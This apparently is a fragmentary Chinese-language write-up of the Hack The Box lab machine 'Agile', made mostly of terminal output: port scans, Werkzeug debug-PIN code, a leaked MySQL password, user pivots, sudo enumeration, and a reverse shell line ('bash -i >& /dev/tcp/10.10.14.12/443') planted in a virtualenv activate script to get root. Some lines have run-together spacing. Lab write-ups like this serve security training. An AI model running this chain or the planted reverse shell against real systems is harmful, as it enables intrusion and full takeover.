──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- -Pn 10.10.11.203--min-rate=10000 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-2711:29 CST Warning: 10.10.11.203 giving up onport because retransmission cap hit (10). Nmap scan reportfor10.10.11.203 Host is up (0.13s latency). Not shown: 64905 closed tcp ports (reset), 628 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p22,80 -Pn 10.10.11.203--min-rate=10000 -sC -sV Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-2711:35 CST Nmap scan reportfor10.10.11.203 Host is up (0.13s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA) |_ 25665:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://superpass.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in17.62 seconds
4、确实端口少的靶机,越难搞,这是经验之谈,先绑定下hosts吧
1 2 3
┌──(kali㉿offsec)-[~/Desktop] └─$ echo "10.10.11.203 superpass.htb" | sudo tee -a /etc/hosts 10.10.11.203 superpass.htb
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') # h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None ifrvis None: for group_size in 5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') forx in range(0, len(num), group_size)) break else: rv = num
(venv) www-data@agile:/app$ ls -la /home/ ls -la /home/ total 20 drwxr-xr-x 5 root root 4096 Feb 8 2023 . drwxr-xr-x 20 root root 4096 Feb 20 2023 .. drwxr-x--- 8 corum corum 4096 Feb 8 2023 corum drwxr-x--- 2 dev_admin dev_admin 4096 Feb 8 2023 dev_admin drwxr-x--- 5 edwards edwards 4096 Feb 8 2023 edwards (venv) www-data@agile:/app$
(venv) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' < mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 32 Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
┌──(kali㉿offsec)-[~/Desktop] └─$ ssh corum@10.10.11.203 The authenticity of host '10.10.11.203 (10.10.11.203)' can't be established. ED25519 key fingerprint is SHA256:kxY+4fRgoCr8yE48B5Lb02EqxyyUN9uk6i/ZIH4H1pc. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.203' (ED25519) to the list of known hosts. corum@10.10.11.203's password: Welcome to Ubuntu 22.04.2LTS (GNU/Linux 5.15.0-60-generic x86_64)
This system has been minimized by removing packages and content that are not required on a system that users donotlog into.
To restore this content, you can run the 'unminimize' command. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Wed Mar 8 15:25:35 2023 from 10.10.14.47 corum@agile:~$ id uid=1000(corum) gid=1000(corum) groups=1000(corum) corum@agile:~$
26、获取下第一个flag信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
corum@agile:~$ ls -la total 48 drwxr-x--- 8 corum corum 4096 Feb 8 2023 . drwxr-xr-x 5 root root 4096 Feb 8 2023 .. lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null -rw-r--r-- 1 corum corum 220 Jan 6 2022 .bash_logout -rw-r--r-- 1 corum corum 3771 Jan 6 2022 .bashrc drwx------ 4 corum corum 4096 Feb 8 2023 .cache drwxr-xr-x 4 corum corum 4096 Feb 8 2023 .config drwx------ 3 corum corum 4096 Feb 8 2023 .local drwx------ 3 corum corum 4096 Feb 8 2023 .pki -rw-r--r-- 1 corum corum 807 Jan 6 2022 .profile drwxrwxr-x 3 corum corum 4096 Feb 8 2023 .pytest_cache drwx------ 2 corum corum 4096 Feb 8 2023 .ssh -rw-r----- 1 root corum 33 Sep 29 08:13 user.txt corum@agile:~$ cat user.txt e1e4d14a28c36aedb1c5edb8447f8520 corum@agile:~$
This system has been minimized by removing packages and content that are not required on a system that users donotlog into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms foreach program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Wed Mar 815:25:352023 from 10.10.14.47 corum@agile:~$
This system has been minimized by removing packages and content that are not required on a system that users donotlog into.
To restore this content, you can run the 'unminimize' command. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms foreach program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Thu Mar 210:28:512023 from 10.10.14.23 edwards@agile:~$ id uid=1002(edwards) gid=1002(edwards) groups=1002(edwards) edwards@agile:~$
edwards@agile:~$ ls -la total 32 drwxr-x--- 5 edwards edwards 4096 Feb 8 2023 . drwxr-xr-x 5 root root 4096 Feb 8 2023 .. lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null -rw-r--r-- 1 edwards edwards 220 Jan 6 2022 .bash_logout -rw-r--r-- 1 edwards edwards 3771 Jan 6 2022 .bashrc drwx------ 2 edwards edwards 4096 Feb 8 2023 .cache drwxr-xr-x 3 edwards edwards 4096 Feb 8 2023 .config drwx------ 3 edwards edwards 4096 Feb 8 2023 .local -rw-r--r-- 1 edwards edwards 807 Jan 6 2022 .profile edwards@agile:~$ edwards@agile:~$ sudo -l [sudo] password for edwards: Matching Defaults entries for edwards on agile: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile: (dev_admin : dev_admin) sudoedit /app/config_test.json (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt edwards@agile:~$
39、执行利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json sudo: sudoedit doesn't need to be run via sudo sudo: /app/config_test.json unchanged edwards@agile:~$
edwards@agile:~$ sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt sudo: sudoedit doesn't need to be run via sudo sudo: /app/app-testing/tests/functional/creds.txt unchanged edwards@agile:~$
40、上面是发现了一些账号密码,但是根据引导,还是发现了一些途径的
41、那就是查看sudo的版本
1 2 3 4 5 6 7
edwards@agile:~$ sudo -V Sudo version 1.9.9 Sudoers policy plugin version 1.9.9 Sudoers file grammar version 48 Sudoers I/O plugin version 1.9.9 Sudoers audit plugin version 1.9.9 edwards@agile:~$
head /app/venv/bin/activate # This file must be used with "source bin/activate" *from bash* # you cannot run it directly bash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'
deactivate () { # reset old environment variables if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then PATH="${_OLD_VIRTUAL_PATH:-}" export PATH unset _OLD_VIRTUAL_PATH
┌──(kali㉿offsec)-[~/Desktop] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.11.203] 40908 bash: cannot set terminal process group (2794): Inappropriate ioctl for device bash: no job control in this shell root@agile:~# id id uid=0(root) gid=0(root) groups=0(root) root@agile:~# cat /root/root.txt cat /root/root.txt 42721be4ede62508404ba6007c390820 root@agile:~#